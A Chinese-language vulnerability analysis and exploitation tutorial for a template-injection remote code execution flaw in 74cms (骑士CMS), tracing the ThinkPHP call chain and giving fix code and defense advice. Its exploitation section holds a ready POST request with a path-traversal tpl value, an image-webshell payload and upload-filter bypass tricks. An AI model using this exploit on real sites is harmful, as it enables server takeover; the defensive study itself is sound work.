骑士 CMS 远程命令执行分析
字数 1343 2025-08-19 12:41:14

骑士CMS远程命令执行漏洞分析与利用教学

0x00 漏洞概述

骑士CMS(74cms)在/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数中存在模板注入漏洞,导致远程命令执行。该漏洞源于过滤不严格,攻击者可通过构造恶意请求实现任意代码执行。

0x01 环境背景

骑士CMS架构特点

  • 基于ThinkPHP 3.2.3框架
  • 采用普通模式URL结构:http://serverName/?m=模块&c=控制器&a=操作&var=value
    • m参数表示模块
    • c参数表示控制器
    • a参数表示操作/方法
  • 可通过系统配置修改参数名称:
    'VAR_MODULE' => 'module',     // 默认模块获取变量
    'VAR_CONTROLLER' => 'controller',    // 默认控制器获取变量
    'VAR_ACTION' => 'action',    // 默认操作获取变量
    

0x02 漏洞分析

漏洞位置

/Application/Common/Controller/BaseController.class.php中的assign_resume_tpl方法:

public function assign_resume_tpl($variable,$tpl){
    foreach ($variable as $key => $value) {
        $this->assign($key,$value);
    }
    return $this->fetch($tpl);
}

漏洞触发链

  1. $tpl变量直接传入fetch()方法
  2. 进入/ThinkPHP/Library/Think/View.class.phpfetch()方法
  3. 判断模板引擎类型(默认使用Think模板引擎)
  4. 触发view_parse事件,执行ParseTemplateBehavior行为
  5. 调用Template类的fetch()loadTemplate()方法
  6. loadTemplate()中,$templateFile被赋值给$tmplContent
  7. 进入compiler()方法编译模板内容
  8. 最终通过Storage::load()包含文件

关键点

  • 模板内容未经充分过滤直接包含
  • 攻击者可控制$tpl参数实现任意文件包含
  • 默认配置TMPL_DENY_PHP为false,允许执行PHP代码

0x03 漏洞利用

利用条件

  1. 拥有普通用户权限(可上传文件)
  2. 可访问assign_resume_tpl方法

利用步骤

  1. 注册普通用户账号

    • 访问网站前台注册页面完成注册
  2. 更新简历并上传图片马

    • 进入简历管理页面
    • 上传包含恶意代码的图片文件(需绕过图片过滤)
    • 获取图片存储路径,如:/data/upload/resume_img/2011/13/5fae95e469e05.jpg
  3. 构造恶意请求

    POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    variable=1&tpl=../../../../var/www/html/data/upload/resume_img/2011/13/5fae95e469e05.jpg
    
  4. 图片马内容要求

    • 必须包含骑士CMS模板标签
    • 示例内容:
      <?php phpinfo(); ?>
      <qscms:company_show 列表名="info" 企业id="$_GET['id']"/>
      

绕过技巧

  • 尝试上传docx等其他类型文件
  • 修改文件头绕过图片检测
  • 使用双重扩展名(如test.jpg.php)

0x04 漏洞修复

官方修复(不完善)

BaseController.class.php中添加:

$view = new \Think\View;
$tpl_file = $view->parseTemplate($tpl);
if(!is_file($tpl_file)){
    return false;
}

有效修复方案

assign_resume_tpl方法中添加严格过滤:

$pattern = "\.\/|\.\.\/|:|%00|%0a|=|~|@|file|php|filter|resource";
if(preg_match("/".$pattern."/is",$tpl)== 1){
    return $this->_empty();
}

0x05 防御建议

  1. 对所有用户输入进行严格过滤
  2. 禁用危险函数和特殊字符
  3. 限制文件上传类型
  4. 设置TMPL_DENY_PHP为true
  5. 及时更新到最新版本

0x06 总结

该漏洞是典型的模板注入漏洞,通过可控参数传入fetch()函数实现任意文件包含。利用需要普通用户权限,但危害严重。开发人员应重视所有用户输入的过滤,特别是涉及文件操作和模板渲染的部分。

骑士CMS远程命令执行漏洞分析与利用教学 0x00 漏洞概述 骑士CMS(74cms)在 /Application/Common/Controller/BaseController.class.php 文件的 assign_resume_tpl 函数中存在模板注入漏洞,导致远程命令执行。该漏洞源于过滤不严格,攻击者可通过构造恶意请求实现任意代码执行。 0x01 环境背景 骑士CMS架构特点 基于ThinkPHP 3.2.3框架 采用普通模式URL结构: http://serverName/?m=模块&c=控制器&a=操作&var=value m 参数表示模块 c 参数表示控制器 a 参数表示操作/方法 可通过系统配置修改参数名称: 0x02 漏洞分析 漏洞位置 /Application/Common/Controller/BaseController.class.php 中的 assign_resume_tpl 方法: 漏洞触发链 $tpl 变量直接传入 fetch() 方法 进入 /ThinkPHP/Library/Think/View.class.php 的 fetch() 方法 判断模板引擎类型(默认使用Think模板引擎) 触发 view_parse 事件,执行 ParseTemplateBehavior 行为 调用 Template 类的 fetch() 和 loadTemplate() 方法 在 loadTemplate() 中, $templateFile 被赋值给 $tmplContent 进入 compiler() 方法编译模板内容 最终通过 Storage::load() 包含文件 关键点 模板内容未经充分过滤直接包含 攻击者可控制 $tpl 参数实现任意文件包含 默认配置 TMPL_DENY_PHP 为false,允许执行PHP代码 0x03 漏洞利用 利用条件 拥有普通用户权限(可上传文件) 可访问 assign_resume_tpl 方法 利用步骤 注册普通用户账号 访问网站前台注册页面完成注册 更新简历并上传图片马 进入简历管理页面 上传包含恶意代码的图片文件(需绕过图片过滤) 获取图片存储路径,如: /data/upload/resume_img/2011/13/5fae95e469e05.jpg 构造恶意请求 图片马内容要求 必须包含骑士CMS模板标签 示例内容: 绕过技巧 尝试上传docx等其他类型文件 修改文件头绕过图片检测 使用双重扩展名(如test.jpg.php) 0x04 漏洞修复 官方修复(不完善) 在 BaseController.class.php 中添加: 有效修复方案 在 assign_resume_tpl 方法中添加严格过滤: 0x05 防御建议 对所有用户输入进行严格过滤 禁用危险函数和特殊字符 限制文件上传类型 设置 TMPL_DENY_PHP 为true 及时更新到最新版本 0x06 总结 该漏洞是典型的模板注入漏洞,通过可控参数传入 fetch() 函数实现任意文件包含。利用需要普通用户权限,但危害严重。开发人员应重视所有用户输入的过滤,特别是涉及文件操作和模板渲染的部分。